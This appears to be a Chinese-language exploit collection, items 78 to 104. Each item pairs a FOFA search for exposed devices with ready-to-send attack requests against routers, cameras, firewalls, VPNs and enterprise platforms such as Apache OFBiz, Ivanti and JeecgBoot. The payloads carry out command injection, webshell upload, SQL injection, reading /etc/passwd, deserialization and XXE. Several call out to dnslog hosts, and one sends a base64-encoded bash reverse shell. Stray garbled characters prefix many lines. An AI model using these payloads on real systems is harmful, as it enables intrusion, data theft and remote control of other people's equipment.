' |- w4 A! S" }9 B0 i3 O( DFOFA：icon_hash="2001627082"
; h' x5 G. ~% s1 zPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
* Z" F+ [: ^. b
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
! N# F2 r* r$ z# }- OContent-Type: image/png
! q% J* X4 r& B5 R
YsOxWxSvj1KyZow1PTsh98fdu6l
0 u" A" x. u/ N2 r. C4 E9 U. Z------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

* e7 z2 `1 C# `, W/Applications/SkillDevelopAndEHS/
/ l. d7 R, H$ G% G9 y------YsOxWxSvj1KyZow1PTsh98fdu6l--
% y8 c  ^+ j1 C9 r
1 a# }  r- {9 F; D. @
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
& x1 h9 d7 H" x5 ~! u& {, V  s: r( r

79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
0 B; \7 V) D: Y& |! {& sGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
$ |( {9 v* }5 f1 o3 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* h* f& k3 Q  ?, f/ }  QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  O9 w' a4 ?; F' h) k. ~2 P4 PAccept-Encoding: gzip, deflate
0 Z  G, l: I0 u: O* M0 eConnection: close
9 k4 m: Q% ~3 C, P, KUpgrade-Insecure-Requests: 1

( \" g+ f, d1 g# y$ c5 ]9 t
, q0 @1 v  |$ c2 B: ^- u80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
* }8 s0 U. a' R8 Q" J9 f6 H. g4 \% QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; q; X/ V3 d2 ~" X# qAccept-Encoding: gzip, deflate
0 R- }0 s2 [% eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 u) f: X* X. I% v4 x: [6 gConnection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
* N7 D& H! ?+ |+ [1 d9 ^
<% out.print("oessqeonylzaf");%>
) g0 h2 A/ ?/ I% l8 E  [3 F

GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
" e8 y- _2 r" p( G) i+ iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- S1 L" P9 P+ F, M- ]: oAccept-Encoding: gzip

% \9 E; o2 q. G, o7 I% n6 S
! t3 J: J7 P' B: S3 W7 q81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
7 F( y$ E) _9 x: ]7 {GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
( n, H5 V- I5 S4 f) v( @. vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 h, n: G# s. j1 UConnection: close
' k$ b+ n5 m* v  p5 \$ n( H/ P/ MAccept-Encoding: gzip
1 ~  N  W( t' q  P: z1 x5 y. r  m% ?( ?% T

1 ?* C7 C3 I2 N0 {% x82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
& o2 [$ `" a# e% q  {Content-Length: 23
Accept-Encoding: gzip
$ P8 s4 X8 W2 x* W2 u: u4 G/ j  xConnection: close
Content-Type: application/x-www-form-urlencoded
$ s% F2 L9 B% A& uReferer: BaseURL
/ z( v' j& g2 m. Z
6 S% z8 j- C: Y2 F8 Cz1=1&z2="|id;"&z3=bhost

2 v# F) K+ N: y9 k: `( P1 ?! e" X$ D
83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


5 m$ F2 p2 l$ v1 LPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
. J; t4 O& `, ?7 J, V$ H; pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
6 ?; H& M( V2 L, p! y/ RContent-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
" @3 J: r4 [3 j, n& V3 A+ e7 m& A
% p% ^$ |( T+ H! m; ]+ E7 Q: XPAYLOAD

' n* s" L" w! q% M+ C# m84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
; m: n' N- H8 N1 cFOFA：title=="JeecgBoot 企业级低代码平台"
/ G' d. ^9 Z0 t
* [3 c: ^( ]8 ^# e. z4 p; u4 ?
5 J: ?; Q1 V" C3 D% L8 S3 b
5 L7 z7 I  D. t# Q* y# V5 nPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
5 F- L/ G2 x# T# cConnection: close
# o! j: r0 B0 _Content-Type: application/json
Accept-Encoding: gzip
3 O7 p, Y4 O* \% v5 E5 b
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
; v! A& {& W" j8 h  "type": "0"
5 B% x* w# Z/ @) \: x}

1 f; q- }* j7 G( S# H
! z1 ~. W" _# C# b! F6 N8 t! ?4 L/ r85. SysAid On-premise< 23.3.36远程代码执行
7 c1 a. x+ e1 r- ACVE-2023-47246
9 [0 L6 z) i, s7 f0 ^* r. q7 ZFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 `+ p# ]- L0 y( {% i4 ^Content-Type: application/octet-stream
$ G/ t4 F+ g! ^4 j3 z7 D; ~- OAccept-Encoding: gzip

PAYLOAD

- H" ]9 B6 ^+ ^. P( W9 ]3 Y2 a- L回显URL：http://x.x.x.x/userfiles/index.jsp
. M4 E4 e( f& O, g3 H6 X6 {( m* H& G. O
86. 日本tosei自助洗衣机RCE
' v  F& k- t' u, Y, W, T! AFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
% j: G) F4 Z5 [& E( B: YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
, r! L6 K9 z) X2 Z+ xAccept-Encoding: gzip
Accept-Language: en
7 r. |: ]! _" {Content-Type: application/x-www-form-urlencoded

# b. ~: h& F9 g* \; Chost=%0acat${IFS}/etc/passwd%0a&command=ping
4 y  |2 l4 \+ L0 t* q% E  r+ ]

87. 安恒明御安全网关aaa_local_web_preview文件上传
+ Z7 o' A$ W% Z+ y: |. eFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
: X5 g' L. |) qContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

( d9 F7 j: _* {. C( e* \--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
& Q8 f& P7 e0 G5 EContent-Type: text/plain

* x4 ?8 e/ j( u2ZqGNnsjzzU2GBBPyd8AIA7QlDq
. E) s5 t" [1 ]- {0 C5 ?. @--qqobiandqgawlxodfiisporjwravxtvd--
' r1 [% m2 `3 `0 P+ o6 ^
6 T, \; l( e; L7 {% K8 b
4 O  y1 e8 C* D/jfhatuwe.php

3 t! G0 {+ X5 B88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ f8 M5 F$ o% r+ o5 ?" n6 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 o$ J8 [$ w2 N  P1 o2 A# x7 [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* d  k+ L* T7 y/ U1 ~# S8 YConnection: close


5 i* H: G4 c( i$ j/astdfkhl.php
) g  S  H% Y( G% f3 C5 M
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
1 [3 p$ c) o. H5 h$ s  BPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
( t* i# H" D7 b: l* jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 C+ {" _1 R& e8 |. f  JConnection: close
7 B% l+ C+ n( F$ QContent-Length: 41
Content-Type: application/x-www-form-urlencoded
) o8 r0 @. ^4 f1 E% y9 J9 ~' r" jAccept-Encoding: gzip

, p' _8 r6 r0 i" koption=2&GUID=-1'+union+select+111*222--+
. ~9 l- m1 m' m/ ^5 j6 q; p/ i- [  M
$ k/ R5 m, B2 q$ h5 w
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
, _- j$ g' F6 i, L6 L. L( l+ I0 X" tFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
( @  K7 h- O4 e  l( ~/ i: gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
- ]( G5 T" ~' a( B& ?Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' G5 n+ g4 r. s7 f. d, iConnection: close
* P# l, ]9 h$ p% w4 iContent-Type: application/x-www-form-urlencoded
7 M3 ~" o3 o# A8 ]8 X9 NX-Requested-With: XMLHttpRequest

8 j$ [2 z( R1 v( C+ jjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


3 {/ Q& y' A, q91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
+ R6 ]% j, G% ]; l( w2 P$ M% V( ^& P  e# GFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
+ v& k+ {4 d/ V5 Q9 aHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
! `6 ]% W: L% }2 j/ `Connection: keep-alive


. ^3 x, k" r. {, t" y! _
9 h" ], I: ?$ t  g& h9 r/ U8 q92. 海康威视运行管理中心session命令执行
Fastjson命令执行
5 Z' |) N% f) b* m' ihunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
. U/ o; V, @! N# Y8 C+ k! ]9 V9 hPOST /center/api/session HTTP/1.1
% B3 ?) N/ u& Y9 }+ gHost:
) F( {' C* V: F& i: zAccept: application/json, text/plain, */*
' b1 u3 w1 ^7 N& mAccept-Encoding: gzip, deflate
5 Y; m. U, U+ O; CX-Requested-With: XMLHttpRequest
. T5 ]7 v2 W$ a8 b3 p4 GContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
& |* y. b: I7 b% O7 f4 c) CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
; h" y3 o0 w! T; a% _) ~& mContent-Length: 5778
5 q8 J& M4 x6 l& p3 r
PAYLOAD
4 J- u$ X  o3 ~, [* k

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
1 p! E- F+ z7 V- s" @9 ]9 k. s! lUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' B" {) r7 w2 H$ O9 h- J% Y
------WebKitFormBoundarykcbkgdfx
6 r" e- p) I# S3 p4 @' ~' ?Content-Disposition: form-data; name="MAX_FILE_SIZE"
1 v# K' f2 q; D* P0 \5 h
10000000
" v. m7 C8 [0 g8 C. l------WebKitFormBoundarykcbkgdfx
+ _' v# B- w' x- I- k, @Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
$ H. e0 w3 m5 m6 {. g$ v
! }8 ?' A8 ?, _7 Kwagletqrkwrddkthtulxsqrphulnknxa
; F8 a7 T! s1 G/ V# g, d------WebKitFormBoundarykcbkgdfx
  [5 V" P0 k8 `" G7 d* P! J# `Content-Disposition: form-data; name="submit_post"
5 ^0 O5 ~* D  n: E6 V
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
9 }' [; w( k2 I; QContent-Disposition: form-data; name="__hash__"
. E* S  M7 h6 O$ f4 K6 O0 F1 O
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
9 q$ Z8 Y, u& v  C

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
! f% f' L* A/ a8 K- j( m0 AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
0 J. c5 D% n; k& e# B; C
5 ~/ s7 G7 T' h  H+ M  l
$ ?5 \0 s7 r* @9 x& }2 V8 M94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
6 `4 Q/ {7 z3 ]6 ?3 x% APOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
9 E' o3 t+ x3 m, y
8 r7 B: |7 f9 ?- H# _! W8 n( ?' ?------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
9 a* P8 O" E1 i* ]9 P
8 w: S+ n4 Q+ R10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
: }: r+ \( X4 z! a) f- f
8 m3 {  a+ {* {% U. Apxplitttsrjnyoafavcajwkvhxindhmu
! {) c+ d$ q6 z: \8 ]6 r: x! L& W------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
+ E+ Y' a- n2 L7 `4 aContent-Disposition: form-data; name="__hash__"
# L  W7 M4 ~1 t+ b( `6 n
0b9d6b1ab7479ab69d9f71b05e0e9445
) q6 x8 s4 Y- t$ Q! ]------WebKitFormBoundarybqvzqvmt--
9 Y* a% |+ V5 n

5 L# m- v8 i' ^
! |5 w- F2 S! Z/ b: c/ d2 Y# H5 yGET /attachements/xlskxknxa.txt HTTP/1.1
! A, `" L. F+ J. |: g, f- ^Host: xx.xx.xx.xx
+ w# E+ @3 V$ H4 LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( x' U* d5 n; O# e2 ?* X; j2 _! Y
8 \1 q( Y) e5 W" L/ C( I
2 e. d7 C% |2 `$ a& s
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& J, r) P3 [" LConnection: close
Content-Length: 889
1 Y' H& g3 M3 Z. k: EContent-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
' J' O7 ^; o7 [5 k# C! G<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
        <struct>
       <member>
! _0 ~( m& ^( X& o* s          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
5 b' M* o; s) W" H  C2 I0 m          </value>
        </member>
      </struct>
      </value>
" C8 m8 ?2 m$ j; J    </param>
9 h4 C: m0 R6 s: Z9 X9 `    </params>
3 H: f7 C% |5 I3 L) g7 n6 }+ l</methodCall>


用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
" k/ ?7 O, t7 d4 a: cHost: 192.168.40.130:8443
& C" N+ F) S( u% ]& [0 A" pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
8 _- S' U7 a) l9 E( R7 IPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
( |$ `( X/ v  m, |Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
; q- m2 A- ?; s2 A! `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);

: a6 j9 p1 T! c1 x* K
反弹shell
在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
' G. L, r# k/ X" Y7 V9 y
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

  B6 t2 `& h. r5 L# M) ~97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
) w3 F2 M  N8 @0 |! OHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 }; q4 u" Y' [! x" N- zAccept-Encoding: gzip
) o5 l) u3 y* a. r  `Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

/ R' E- V2 y* I( p6 b
: m" S% K6 D+ A0 z98. SpiderFlow爬虫平台远程命令执行
0 C- v  p$ }* T- n3 NCVE-2024-0195
+ w4 W# c" L. {FOFA：app="SpiderFlow"
' q% m) ]$ M; x4 yPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# i( ~# f& V  ^7 y1 {, P* gConnection: close
- B0 d- B2 X! B0 W& qContent-Length: 121
. T2 d1 ~& b) A; RAccept: */*
Accept-Encoding: gzip, deflate
/ D- c" g7 y5 ], M; @9 gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
0 r/ X0 k0 e8 r; o9 c! x8 `% s8 W) LX-Requested-With: XMLHttpRequest
/ l7 N" Y  F% E" R' Q3 f
- V: M9 _' n" g; did=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
$ U2 j( O' S. q4 A

+ Y, @# A: K1 M9 t. i. v; ]8 _. r99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
$ }. u/ C6 ]  `+ K7 XFOFA：app="Ncast-产品" && title=="高清智能录播系统"
! x; h' a. N2 {& jPOST /classes/common/busiFacade.php HTTP/1.1
: H6 l$ z4 r8 ]7 VHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
2 A) _% U: c1 G3 PConnection: close
Content-Length: 154
( m7 E( V0 g' U1 G4 v" R0 P. P* _Accept: */*
- R/ X! f! U+ A. ]/ y1 VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

8 M+ ^: c6 |/ }, @%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
' k! e# G( e# T8 t9 c2 r8 S
5 _! F# `. P3 N9 n9 ~+ B
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
* w7 A1 P0 ?8 zHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
" p  ]3 |" r$ s1 }Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

2 o9 H. P" A, W------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
0 u$ ?1 N: M4 `2 X1 P# V& s
2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
/ ?! \# Z; l, V8 Y
" N. u/ X1 \4 {. C
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
, Q/ H; B" }3 U3 u* R' x  z/ gFOFA：body="welcome.cgi?p=logo"
  }" ~+ ?! M5 Q+ Y! m" |" UGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
9 O0 [; x3 \3 ^% o" g7 Z8 RAccept-Encoding: gzip

, o! l/ E- x2 v' G
7 W1 x/ [3 @- Q' [3 D102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
- B; v6 i: W( j1 L9 T1 g+ aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! B: T" o8 w# \# X6 q/ L; zConnection: close
Content-Length: 792
Accept-Encoding: gzip
8 h$ _9 b: g8 [$ X
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
3 T' u9 g& t1 x0 ]( X* W4 B: yCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
/ y8 _. u, V& L! o$ e; U4 O% `9 GContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
8 s4 [% t# B- ^) H" l, @
+ m& H% u8 J2 y+ W- o! I/ h  F+ _
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


- O+ G+ G2 j$ V3 M/ |104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
8 \$ r" w# |9 B2 q* C0 I2 P1 gCVE-2024-0569
! I6 H8 `  [* B8 HFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
4 i6 x" v6 m" O+ ZHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
: C, ?3 b  z7 z2 I4 p9 KUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
) C- z' y* H4 GContent-Type: application/x-www-form-urlencoded:charset=UTF-8
% G- c! A# h- p$ c' J6 [Origin: http://192.168.0.1
, k# |7 G( r0 s! pReferer: http://192.168.0.1/advance/index.html?time=1671152380564
2 w2 D- J: V1 v) ^) |! ?* SAccept-Encoding:gzip,deflate
+ V" s2 h% t' k! W0 l/ w5 w& KAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
